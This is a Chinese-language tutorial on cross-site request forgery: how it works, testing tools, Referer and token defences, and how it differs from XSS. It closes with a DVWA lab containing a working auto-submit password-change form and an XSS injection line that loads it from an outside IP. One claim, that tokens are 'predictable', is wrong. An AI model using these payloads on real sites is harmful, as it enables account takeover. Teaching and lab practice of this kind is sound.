(csrf)跨站请求伪造
漏洞描述
csrf(跨站请求伪造)是一种针对网站得恶意利用
csrf攻击可以利用用户已经登陆或者已经授权得状态,伪造合法用户欺骗浏览器发出请求给受信任得网点,从而实现在授权得情况下执行一些特权操作.(如发邮件,发消息,甚至财产操作如何转账和购买商品,修改密码).由于浏览器曾经认证过,所以被访问得网站会认为是真正得用户操作而去 执行.
一句话理解:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求
漏洞原理
简单得说,是攻击者通过一些技术手段欺骗用户得浏览器去访问一个自己曾经认证过得网站并执行一些操作(如发右键,发消息,甚至财产操作如转账和购买商品)由于浏览器曾经认证过,所以被访问得网站会认为是真正得用户操作而去执行hi.
攻击过程
1.用户打开浏览器,登陆信任网站A,输入账号密码请求登陆网站A.(登陆操作)
2.用户信息通过验证后,网站A产生Cookie信息返回给用户浏览器(返回cookie)
3.用户在未退出网站A之前,在同一浏览器又打开了一个网站B.(新建TAB页,打开了新得网站)
4.网站B接受到用户的访问请求后,网站B将包含向网站A请求的恶意的代码返回给浏览器,用户浏览器渲染执行,触发恶意请求
5.该条请求发送后,可信网站会以存储在浏览器中用户的cookie处理该请求,导致用户执行恶意操作(网站A根据请求中的cookie信息进行处理,那么最终指向恶意操作就是用户)
检测漏洞
1.一般在用户密码修改,信息修改,添加账号,发布文章等一些敏感操作位置,如果没有二次检验(图像验证码,短信验证码,原密码)就可以进行测试.(原密码校验,图形校验,短信校验等)
2.检测CSRF漏洞可以使用工具检测:CSRFTester,CSRF Request Builder,BurpSutie等
过程:
1.正常用户登陆
2.攻击者构造恶意的请求数据包
3.攻击者将恶意的请求数据包发送给正常用户
4.正常用户点击访问后,浏览器解析执行攻击者网站响应后的源码
5.造成CSRF
1.登陆账户
2.构造数据包
3.在同一浏览器打开,如果内容被修改了则存在反之没有
测试过程:点击修改->抓包点击提交->制作POC->修改提交内容->访问POC
防御方法
1.验证Referer来源
2.添加二次校验
3.增加Token校验
Token通常指的是一种用于验证用户身份或者授权用户访问资源的令牌.Token最大的特点是可预测
为什么Token可以防御CSRF
1.用在登陆成功后,服务端会生成一个Token,并将其发送回客户端,这个Token用户标识用户的会话并进行后续的身份验证.
2.客户端在每次向服务器发起请求时,都要携带这个Token,服务器收到请求后会验证Token的有效性,以确认请求的合法性,如何Token校验失败则拒绝执行该操作
3.为了增加安全性,某些系统可能会定期更换Token
Token写入Cookie安全吗?
不安全,因为浏览器在发出恶意csrf请求时,时自动带着你的cookie,如果token在cookie中也会被以同携带这样就不安全了.
CSRF与XSS
漏洞区别
1.攻击方式
XSS漏洞:xss攻击利用了应用程序中的不安全输入验证,允许攻击者将恶意脚本插入到网页中,当其他用访问包含恶意脚本的页面时,这些脚本将在用户浏览器中执行.
csrf漏洞:CSRF攻击利用了用户当前已经通过了身份验证的会话,通过伪装用户发出的请求来执行未经授权的操作.攻击者诱使用户执行某些操作,而用户可能不知道自己在执行这些操作.
2.攻击目标
XSS漏洞:XSS攻击目标时其他用户的浏览器,攻击者试图在受害者的浏览器上执行恶意脚本,以窃取会话信息,Cookie,或者执行其他恶意操作.
CSRF漏洞:CSRF攻击的目标是已经通过身份验证的用户,攻击者试图以用户的身份执行未经授权的操作,例如更改密码,发送恶意电子邮件等.
组合利用
环境:DVWA靶场+LOW等级+CSRF+XSS
步骤一:将如下代码放置攻击者web服务器中
访问解析后自动提交表单
<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "42" );
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
</script>
<form action="http://127.0.0.1/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="admin" />
<input type="hidden" name="password_conf" value="admin" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
步骤二:将如下代码插入到存在xss的位置
<script src="x" onerror=javascript:window.open(http://8.141.11.61:8000/csrf.html)></script>
当用户访问到存在xss页面时,解析js代码,向更新密码接口发送请求,并传递指定的新密码进行更新.